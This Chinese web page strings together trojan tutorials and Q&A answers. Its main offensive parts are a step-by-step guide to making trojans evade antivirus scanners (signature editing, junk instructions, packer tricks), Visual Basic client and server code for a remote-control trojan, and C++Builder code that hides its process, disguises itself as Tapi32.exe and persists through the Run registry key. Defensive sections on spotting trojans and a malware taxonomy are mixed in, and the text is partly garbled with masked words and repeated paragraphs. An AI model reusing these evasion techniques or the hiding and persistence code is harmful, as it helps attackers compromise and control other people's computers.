本文目录一览:
如何做木马免杀
木马免杀浓缩精华版教程
之一部分:对国内外杀毒软件分析
在讲定位内存特征码前,先要分析国内外著名杀毒软件的内存查杀特点。大家在使用木马过程都会发现,内存查杀,一般都指得被瑞星的内存查杀。瑞星的内存查杀功能是同类杀毒软件中最强的一款杀毒软件。像强悍的卡巴,金山,等等它们的内存查杀意义不大,会 *** 免杀木马的人都知道,像这类杀毒软件,只要文件免杀,内存也就免杀了.还有江民也有内存查杀功能,但内存查杀功能比较弱.只针对影响力非常大的病毒程序.一般的黑客软件都没有提取内存特征码.
第二部分:木马免杀的对策
一. 要使一个木马免杀,首先要准备一个不加壳的木马,这点非常重要,否则下面的免杀操作就不能进行下去。
二.然后我们要木马的内存免杀,从上面分析可以看出,目前的内存查杀,只有瑞星最强,其它杀毒软件内存查杀现在还不起作用所以我们只针对瑞星的内存查杀,要进行内存特征码的定位和修改,才能内存免杀。
三.对符其它的杀毒软件,比如江民,金山,诺顿,卡巴.我们可以采用下面的 *** ,或这些方面的组合使用.
1.入口点加1免杀法.
2.变化入口地址免杀法
3.加花指令法免杀法
4.加壳或加伪装壳免杀法.
5.打乱壳的头文件免杀法.
6.修改文件特征码免杀法.
第三部分:免杀技术实例演示部分
一.入口点加1免杀法:
1.用到工具:PEditor
2.特点:非常简单实用,但有时还会被卡巴查杀.
3.操作要点:用PEditor打开无壳木马程序,把原入口点加1即可.
二.变化入口地址免杀法:
1.用到工具:OllyDbg,PEditor
2.特点:操作也比较容易,而且免杀效果比入口点加1点要佳.
3.操作要点:用OD载入无壳的木马程序,把入口点的前二句移到零区域去执行,然后又跳回到入口点的下面第三句继续执行.最后用PEditor把入口点改成零区域的地址.
三.加花指令法免杀法:
1.用到工具:OllyDbg,PEditor
2.特点:免杀通用性非常好,加了花指令后,就基本达到大量杀毒软件的免杀.
3.操作要点:用OD打开无壳的木马程序,找到零区域,把我们准备好的花指令填进去填好后又跳回到入口点,保存好后,再用PEditor把入口点改成零区域处填入花指令的着地址.
四.加壳或加伪装壳免杀法:
1.用到工具:一些冷门壳,或加伪装壳的工具,比如木马彩衣等.
2.特点:操作简单化,但免杀的时间不长,可能很快被杀,也很难躲过卡巴的追杀.
3.操作要点:为了达到更好的免杀效果可采用多重加壳,或加了壳后在加伪装壳的免杀效果更佳.
五.打乱壳的头文件或壳中加花免杀法:
1.用到工具:秘密行动 ,UPX加壳工具.
2.特点:操作也是傻瓜化,免杀效果也正当不错,特别对卡巴的免杀效果非常好.
3.操作要点:首先一定要把没加过壳的木马程序用UPX加层壳,然后用秘密行动这款工具中的SCramble功能进行把UPX壳的头文件打乱,从而达到免杀效果.
六.修改文件特征码免杀法:
1.用到工具:特征码定位器,OllyDbg
2.特点:操作较复杂,要定位修改一系列过程,而且只针对每种杀毒软件的免杀,要达到多种杀毒软件的免杀,必需修改各种杀毒软件的特征码.但免杀效果好.
3.操作要点:对某种杀毒软件的特征码的定位到修改一系列慢长过程.
第四部分:快速定位与修改瑞星内存特征码
一.瑞星内存特征码特点:由于技术原因,目前瑞星的内存特征码在90%以上把字符串作为病毒特征码,这样对我们的定位和修改带来了方便.
二.定位与修改要点:
1.首先用特征码定位器大致定位出瑞星内存特征码位置
2.然后用UE打开,找到这个大致位置,看看,哪些方面对应的是字符串,用0替换后再用内存查杀进行查杀.直到找到内存特征码后,只要把字符串的大小写互换就能达到内存免杀效果.
第五部分:免杀方案实例演示部分
1.完全免杀方案一:
内存特征码修改 + 加UPX壳 + 秘密行动工具打乱UPX壳的头文件.
2.完全免杀方案二:
内存特征码修改 + 加压缩壳 + 加壳的伪装
3.完全免杀方案三:
内存特征码修改 + 修改各种杀毒软件的文件特征码 + 加压缩壳
4.完全免杀方案四:
内存特征码修改 + 加花指令 + 加压壳
5.完全变态免杀方案五:
内存特征码修改 + 加花指令 + 入口点加1 + 加压缩壳UPX + 打乱壳的头文件
还有其它免杀方案可任意组合.达到更好的免杀效果.
网站被黑客挂上木马病毒怎么办?
源码中查找可疑代码,删除
如何识别木马
识别木马有新招,希望这篇文章对你有所帮助。
一、经常看到有玩家说,在输入自己的帐号的时候通故意输错帐号和码。其实这种木马是最早期的木马程序。现在已经很少有编木马程序的程序员,还按照这种监听键盘记录的思路去编写木马程序。现在的木马程序已经发展到通过内存提取数据来获得用户的帐号和密码。大家都知道,不管是传奇还是任何一款程序。它都是有他所特有的数据的(包括玩家的帐号、密码,等级装备资料等等)。这些数据都是会通过本机与游戏服务器取得了验证以后,玩家的角色资料才会出现在玩家的面前。而这些数据在运行的时候都是存放在计算机的内存里面的。木马作者只需要在自己的程序里面加入条件语句就可以取得玩家真实的游戏帐号、密码、角色等级~~~~~,以我自己的计算机知识,这种语句的大概意思应该是:当游戏进程进入到让玩家选择角色的时候再从内存中提取最后一次的帐号、密码、角色等级等资料。也就是说,其实玩家之前所做的故意输错帐号或密码完全是浪费自己的表情、浪费自己的时间。
下边先来说一下木马是如何通过网页进入你的电脑的,相信大家都知道,现在有很多图片木马,EML和EXE木马,其中的图片木马其实很简单,就是把木马exe文件的文件头换成bmp文件的文件头,然后欺骗IE浏览器自动打开该文件,然后利用网页里的一段JAVASCRIPT小程序调用DEBUG把临时文件里的bmp文件还原成木马exe文件并拷贝到启动项里,接下来的事情很简单,你下次启动电脑的时候就是你噩梦的开始了,EML木马更是传播方便,把木马文件伪装成audio/x-wav声音文件,这样你接收到这封邮件的时候只要浏览一下,不需要你点任何连接,windows就会为你代劳自动播放这个他认为是wav的音乐文件,木马就这样轻松的进入你的电脑,这种木马还可以frame到网页里,只要打开网页,木马就会自动运行,另外还有一种 *** ,就是把木马exe编译到. *** 文件里,然后在网页里调用,同样也可以无声无息的入侵你的电脑,这只是些简单的办法,还有远程控制和共享等等漏洞可以钻,知道这些,相信你已经对网页木马已经有了大概了解,
简单防治的 *** :
开始-设置-控制面版-添加删除程序-windows安装程序-把附件里的windows scripting host去掉,然后打开Internet Explorer浏览器,点工具-Internet选项-安全-自定义级别,把里面的脚本的3个选项全部禁用,然后把“在中加载程序和文件”禁用,当然这只是简单的防治 *** ,不过可能影响一些网页的动态java效果,不过为了安全就牺牲一点啦,这样还可以预防一些恶意的网页炸弹和病毒,如果条件允许的话可以加装防火墙,再到微软的网站打些补丁,反正我所知道的网吧用的都是原始安装的windows,很不安全哦,还有尽量少在一些小网站下载一些程序,尤其是一些号称黑客工具的软件,小心盗不着别人自己先被盗了,当然,如果你执意要用的话,号被盗了也应该付出这个代价吧。还有,不要以为装了还原精灵就很安全,据我所知,一般网吧的还原精灵都只还原c:盘即系统区,所以只要木马直接感染你安装在别的盘里的游戏执行文件,你照样逃不掉的。
下边介绍一下木马和如何简单的检查一下是否中了木马。
木马程序一般分为服务器端程序和客户端程序两个部分,当服务器端程序安装在某台连接到 *** 的电脑后,就能使用客户端程序对其进行登陆。这和PcAnywhere以及NetMeeting的远程控制功能相似。但不同的是,木马是非法取得对对方电脑的控制权,一旦登陆成功,就可以取得管理员级的权利,对方电脑上的资料、密码等是一览无余。不过这种木马一般的“伪黑客”很少使用,因为一不小心就会引火上身,被对方反查过来就会偷鸡不成蚀把米了,一般他们都会采用只有服务器端的小木马,这类木马通常会把截取的密码发到一个免费邮箱里,不需要人为操作,有空去收趟邮件就可以了,这种木马遍布互连网的各个角落,的确防不胜防,由于木马程序众多,加之不断有新版本、新品种产生,使得软件无法完全应付,所以手动检查清除是十分必要的。
木马会想尽一切办法隐藏自己,别指望在任务管理器里看到他们的踪影,有些木马更是会和一些系统进程寄生在一起的,如著名的广外幽灵就是寄生在MsgSrv32.exe里;当然它也会悄无声息地启动,木马会在每次用户启动windows时自动装载服务端,Windows系统启动时自动加载应用程序的 *** 木马都会用上,如启动组、win.ini、system.ini、注册表等等都是木马藏身之地;下边简单说一下如何检查,点开始-运行,输入:
msconfig回车 就会打开系统配置实用程序,先点system.ini,看看shell=文件名,正确的文件名应该是“explorer.exe”,如果explorer.exe后边还跟有别的程序的话,就要好好检查这个程序了,然后点win.ini,“run=”和“load=”是可能加载“木马”程序的途径,一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了,当然你也得看清楚,因为如“AOL木马”,它把自身伪装成command.exe文件,如果不注意可能不会发现它不是真正的系统启动文件;最后点“启动”,检查里面的启动项是不是有不熟悉的,如果你实在不清楚的话可以把他们全部取消,然后重新运行msconfig,看一下有没有取消的启动项重新被选中的,一般木马都会存在于内存中,(就是线程插入,然后隐藏进程的木马,DLL无进程木马就不会驻留在内存里面,我们在下一次中会讲到)所以发现你取消他的启动项就会自动添加上的,然后你就可以逐步添上你的输入法,音量控制,防火墙等软件的启动项了;还有一类木马,他是关联注册表的文件打开方式的,一般木马经常关联.exe,点开始-运行,输入:regedit回车,打开注册表编辑器,点之一条,也就是HKEY_CLASSES_ROOT,找到exefile,看一下\\exefile\\shell\\open\\command里面的默认键值是不是"%1" %* ,如果是一个程序路径的话就一定是中木马了,另外配合两种以上的杀毒软件也是必要的,另外在windows下木马一般很难清除,最后重新启动到dos环境下再进行查杀。
防木马程序、防火墙、及杀毒软件介绍:
1、木马克星: 专业的个人版木马查杀工具;近100%查杀各种类型木马!玩家推荐反木马品牌~!
2、绿鹰PC万能精灵2.91 :专业的个人版木马查杀工具;近100%查杀各种类型木马!玩家推荐反木马品牌~!
3、Symantec AntiVirus:这个我就不用再介绍了吧,全球更大的杀毒软件!强力推荐8.1企业版。
4、天网防火墙2.51个人版:天网防火墙个人版在 *** 效率与系统安全上完全采用天网防火墙的设计思想,采用更底层的 *** 驱动隔绝,其作用层在 *** 硬件与Windows *** 驱动之间,在黑客攻击数据接触Windows *** 驱动之前将所有的攻击数据拦截,保护脆弱的Windows *** 驱动不会崩溃
看看这个,是用VB编的木马程序
1.“特洛伊木马”有被称为BO, 是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。
使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。
在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:
Private Sub cmdConnect_Click()
If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
MsgBox ("请输入主机名或主机IP地址。")
Exit Sub
Else
If Len(Text1.Text) 0 Then
tcpClient.RemoteHost = Text1.Text
Else
tcpClient.RemoteHost = Text2.Text
End If
End If
tcpClient.Connect
Timer1.Enabled = True
End Sub
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:
Private Sub Form_Load()
tcpServer.LocalPort = 1999
tcpServer.Listen
End Sub
准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:
Private Sub tcpServer_ConnectionRequest
(ByVal requestID As Long)
If tcpServer.State sckClosed Then
tcpServer.Close‘检查控件的 State 属性是否为关闭的。
End If ’如果不是,在接受新的连接之前先关闭此连接。
tcpServer.Accept requestID
End Sub
这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。
2. 建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:
Private Sub tcpServer_DataArrival
(ByVal bytesTotal As Long)
Dim strData As String
Dim i As Long
Dim mKey As String
tcpServer.GetData strData
‘接收数据并存入strData
For i = 1 To Len(strData)
‘分离strData中的命令
If Mid(strData, i, 1) = "@" Then
mKey = Left(strData, i - 1)
‘把命令ID号存入mKey
‘把命令参数存入strData
strData = Right(strData, Len(strData) - i)
Exit For
End If
Next i
Select Case Val(mKey)
Case 1
‘驱动器名、目录名、文件名
Case 2
强制关闭服务器端的计算机
Case 3
强制重启服务器端的计算机
Case 4
屏蔽任务栏窗口;
Case 5
屏蔽开始菜单;
Case 6
按照客户机端传过来的文件名或目录名,而删除它;
Case 7
屏蔽热启动键;
Case 8
运行服务器端的任何程序
End Select
End Sub
详细程序略。
客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。
另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:
Private Sub tcpServer_Close()
tcpServer.Close
tcpServer.Listen
End Sub
这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中 *** ,是修改系统注册表的 *** 。
这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中 *** ,是修改系统注册表的 *** 。
成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。
恶意代码、病毒、木马和黑客是一种什么关系?有什么区别?危害有什么不同?
哥来解决问题了
这些跟黑客并没有直接的关系,所谓的:
恶意代码就是在一些脚本文件中插入可以执行导致浏览器该网页的用户下载一些恶意程序的代码。
病毒:根据一些系统漏洞编写的一种可以传播并且自我复制、破坏等等一系列的效果的程序。
木马:一种特殊的 *** 通讯程序,可以让控制端来完全控制运行木马之后的机器。展望一下未来木马的连接方式可能是P2P的网技术。
什么是恶意代码源程序,恶意代码源程序有几种?
不必要代码(Unwanted Code)是指没有作用却会带来危险的代码,一个最安全的定义是把所有不必要的代码都看作是恶意的,不必要代码比恶意代码具有更宽泛的含义,包括所有可能与某个组织安全策略相冲突的软件。
一、恶意代码的特征
恶意代码(Malicious code)或者叫恶意软件Malware(Malicious Software)具有如下共同特征:
(1) 恶意的目的
(2) 本身是程序
(3) 通过执行发生作用
有些恶作剧程序或者游戏程序不能看作是恶意代码。对滤过性病毒的特征进行讨论的文献很多,尽管它们数量很多,但是机理比较近似,在防病毒程序的防护范围之内,更值得注意的是非滤过性病毒。
二、非滤过性病毒
非过滤性病毒包括口令破解软件、嗅探器软件、键盘输入记录软件,远程特洛伊和谍件等等,组织内部或者外部的攻击者使用这些软件来获取口令、侦察 *** 通信、记录私人通信,暗地接收和传递远程主机的非授权命令,而有些私自安装的P2P软件实际上等于在企业的防火墙上开了一个口子。 非滤过性病毒有增长的趋势,对它的防御不是一个简单的任务。与非过滤性病毒病毒有关的概念包括:
(1)谍件
谍件(Spyware)与商业产品软件有关,有些商业软件产品在安装到用户机器上的时候,未经用户授权就通过Internet连接,让用户方软件与开发商软件进行通信,这部分通信软件就叫做谍件。用户只有安装了基于主机的防火墙,通过记录 *** 活动,才可能发现软件产品与其开发商在进行定期通讯。谍件作为商用软件包的一部分,多数是无害的,其目的多在于扫描系统,取得用户的私有数据。
(2)远程访问特洛伊
远程访问特洛伊RAT 是安装在受害者机器上,实现非授权的 *** 访问的程序,比如NetBus 和SubSeven 可以伪装成其他程序,迷惑用户安装,比如伪装成可以执行的电子邮件,或者Web下载文件,或者游戏和贺卡等,也可以通过物理接近的方式直接安装。
(3)Zombies
恶意代码不都是从内部进行控制的,在分布式拒绝服务攻击中,Internet的不少 站点受到其他主机上 zombies程序的攻击。zombies程序可以利用 *** 上计算机系统的安全漏洞将自动攻击脚本安装到多台主机上,这些主机成为受害者而听从攻击者指挥,在某个时刻,汇集到一起去再去攻击其他的受害者。
(4)破解和嗅探程序和 *** 漏洞扫描
口令破解、 *** 嗅探和 *** 漏洞扫描是公司内部人员侦察同事,取得非法的资源访问权限的主要手段,这些攻击工具不是自动执行, 而是被隐蔽地操纵。
(5)键盘记录程序
某些用户组织使用PC活动监视软件监视使用者的操作情况,通过键盘记录,防止雇员不适当的使用资源,或者收集罪犯的证据。这种软件也可以被攻击者用来进行信息刺探和 *** 攻击。
(6)P2P 系统.
基于Internet的点到点 (peer-to-peer)的应用程序比如 Napster、Gotomypc、AIM 和 Groove,以及远程访问工具通道像Gotomypc,这些程序都可以通过HTTP或者其他公共端口穿透防火墙,从而让雇员建立起自己的VPN,这种方式对于组织或者公司有时候是十分危险的。因为这些程序首先要从内部的PC 远程连接到外边的Gotomypc 主机,然后用户通过这个连接就可以访问办公室的PC。这种连接如果被利用,就会给组织或者企业带来很大的危害。
(7)逻辑炸弹和时间炸弹
逻辑炸弹和时间炸弹是以破坏数据和应用程序为目的的程序。一般是由组织内部有不满情绪的雇员植入, 逻辑炸弹和时间炸弹对于 *** 和系统有很大程度的破坏,Omega 工程公司的一个前 *** 管理员Timothy Lloyd,1996年引发了一个埋藏在原雇主计算机系统中的软件逻辑炸弹,导致了1千万美元的损失,而他本人最近也被判处41个月的监禁。
三、恶意代码的传播手法
恶意代码编写者一般利用三类手段来传播恶意代码:软件漏洞、用户本身或者两者的混合。有些恶意代码是自启动的蠕虫和嵌入脚本,本身就是软件,这类恶意代码对人的活动没有要求。一些像特洛伊木马、电子邮件蠕虫等恶意代码,利用受害者的心理操纵他们执行不安全的代码;还有一些是哄骗用户关闭保护措施来安装恶意代码。
利用商品软件缺陷的恶意代码有Code Red 、KaK 和BubbleBoy。它们完全依赖商业软件产品的缺陷和弱点,比如溢出漏洞和可以在不适当的环境中执行任意代码。像没有打补丁的IIS软件就有输入缓冲区溢出方面的缺陷。利用Web 服务缺陷的攻击代码有Code Red、Nimda,Linux 和Solaris上的蠕虫也利用了远程计算机的缺陷。
恶意代码编写者的一种典型手法是把恶意代码邮件伪装成其他恶意代码受害者的感染报警邮件,恶意代码受害者往往是Outlook地址簿中的用户或者是缓冲区中WEB页的用户,这样做可以更大可能的吸引受害者的注意力。一些恶意代码的作者还表现了高度的心理操纵能力,LoveLetter 就是一个突出的例子。一般用户对来自陌生人的邮件附件越来越警惕,而恶意代码的作者也设计一些诱饵吸引受害者的兴趣。附件的使用正在和必将受到网关过滤程序的限制和阻断,恶意代码的编写者也会设法绕过网关过滤程序的检查。使用的手法可能包括采用模糊的文件类型,将公共的执行文件类型压缩成zip文件等等。
对聊天室IRC(Internet Relay Chat)和即时消息IM(instant messaging)系统的攻击案例不断增加,其手法多为欺骗用户下载和执行自动的Agent软件,让远程系统用作分布式拒绝服务(DDoS)的攻击平台,或者使用后门程序和特洛伊木马程序控制之。
四、恶意代码传播的趋势
恶意代码的传播具有下面的趋势:
(1)种类更模糊
恶意代码的传播不单纯依赖软件漏洞或者社会工程中的某一种,而可能是它们的混合。比如蠕虫产生寄生的文件病毒,特洛伊程序,口令窃取程序,后门程序,进一步模糊了蠕虫、病毒和特洛伊的区别。
(2)混合传播模式
“混合病毒威胁”和“收敛(convergent)威胁”的成为新的病毒术语,“红色代码”利用的是IIS的漏洞,Nimda实际上是1988年出现的Morris 蠕虫的派生品种,它们的特点都是利用漏洞,病毒的模式从引导区方式发展为多种类病毒蠕虫方式,所需要的时间并不是很长。
(3)多平台
多平台攻击开始出现,有些恶意代码对不兼容的平台都能够有作用。来自Windows的蠕虫可以利用Apache的漏洞,而Linux蠕虫会派生exe格式的特洛伊。
(4) 使用销售技术
另外一个趋势是更多的恶意代码使用销售技术,其目的不仅在于利用受害者的邮箱实现更大数量的转发,更重要的是引起受害者的兴趣,让受害者进一步对恶意文件进行操作,并且使用 *** 探测、电子邮件脚本嵌入和其它不使用附件的技术来达到自己的目的。
恶意软件(malware)的制造者可能会将一些有名的攻击 *** 与新的漏洞结合起来,制造出下一代的WM/Concept, 下一代的Code Red, 下一代的 Nimda。对于防病毒软件的制造者,改变自己的 *** 去对付新的威胁则需要不少的时间。
(5)服务器和客户机同样遭受攻击
对于恶意代码来说服务器和客户机的区别越来越模糊,客户计算机和服务器如果运行同样的应用程序,也将会同样受到恶意代码的攻击。象IIS服务是一个操作系统缺省的服务,因此它的服务程序的缺陷是各个机器都共有的,Code Red的影响也就不限于服务器,还会影响到众多的个人计算机。
(6)Windows操作系统遭受的攻击最多
Windows操作系统更容易遭受恶意代码的攻击,它也是病毒攻击最集中的平台,病毒总是选择配置不好的 *** 共享和服务作为进入点。其它溢出问题,包括字符串格式和堆溢出,仍然是滤过性病毒入侵的基础。病毒和蠕虫的攻击点和附带功能都是由作者来选择的。另外一类缺陷是允许任意或者不适当的执行代码, 随着scriptlet.typelib 和Eyedog漏洞在聊天室的传播, *** /Kak利用IE/Outlook的漏洞,导致两个ActiveX控件在信任级别执行,但是它们仍然在用户不知道的情况下,执行非法代码。最近的一些漏洞帖子报告说Windows Media Player可以用来旁路Outlook 2002的安全设置,执行嵌入在HTML 邮件中的JavaScript 和 ActiveX代码。这种消息肯定会引发黑客的攻击热情。利用漏洞旁路一般的过滤 *** 是恶意代码采用的典型手法之一。
(7)恶意代码类型变化
此外,另外一类恶意代码是利用MIME边界和uuencode头的处理薄弱的缺陷,将恶意代码化装成安全数据类型,欺骗客户软件执行不适当的代码。
五、恶意代码相关的几个问题
(1)病毒防护没有标准的 *** ,专家认为比较安全的方式是每个星期更新一次病毒库,但是特殊情况下,需要更加频繁地更新。1999年Y2K 病毒库需要每天更新,而2000年五月,为了对付LoveLetter病毒的变种,一天就要几次更新病毒库。需要指出的是,有时候这种频繁的更新对于防护效果的提高很小。
(2)用户对于Microsoft的操作系统和应用程序抱怨很多,但是病毒防护工具本身的功能实在是应该被最多抱怨的一个因素。
(3)启发式的病毒搜索没有被广泛地使用,因为清除一个病毒比调整启发式软件的花费要小,而被比喻成“治疗比疾病本身更糟糕”。
(4)企业在防火墙管理,电子邮件管理上都花费了不小的精力,建议使用单独的人员和工具完成这个任务。
(5) 恶意代码攻击方面的数据分析做得很不够,尽管有些病毒扫描软件有系统活动日志,但是由于文件大小限制,不能长期保存。同时对于恶意代码感染程度的度量和分析做得也不够,一般的企业都不能从战术和战略两个层次清晰地描述自己公司的安全问题。
(6) 病毒扫描软件只是通知用户改变设置,而不是自动去修改设置。
(7) 病毒防护软件本身就有安全缺陷,容易被攻击者利用,只是由于害怕被攻击,病毒软件厂商不愿意谈及。
(8)许多的软件都是既可以用在安全管理,也可以用在安全突破上,问题在于意图,比如漏洞扫描程序和嗅探程序就可以被攻击者使用。
恶意代码的传播方式在迅速地演化,从引导区传播,到某种类型文件传播,到宏病毒传播,到邮件传播,到 *** 传播,发作和流行的时间越来越短。Form引导区病毒1989年出现,用了一年的时间流行起来,宏病毒 Concept Macro 1995年出现,用了三个月的时间流行, LoveLetter用了大约一天,而 Code Red用了大约90分钟, Nimda 用了不到 30分钟. 这些数字背后的规律是很显然的:在恶意代码演化的每个步骤,病毒和蠕虫从发布到流行的时间都越来越短。
恶意代码本身也越来越直接的利用操作系统或者应用程序的漏洞, 而不仅仅依赖社会工程。服务器和 *** 设施越来越多地成为攻击目标。L10n, PoisonBOx, Code Red 和 Nimda等蠕虫程序,利用漏洞来进行自我传播,不再需要搭乘其他代码
如何编写木马
木马是如何编写的(一)
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的 *** 之梦中惊醒,终于认识到的 *** 也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要 *** 是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对 *** 可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了 *** 事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的 *** 安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的 *** 协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NM *** TP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和 *** TP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的 *** ,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("cros *** ow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("cros *** ow",SystemPath+"\\Tapi32.exe");
file://查找是否有“cros *** ow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
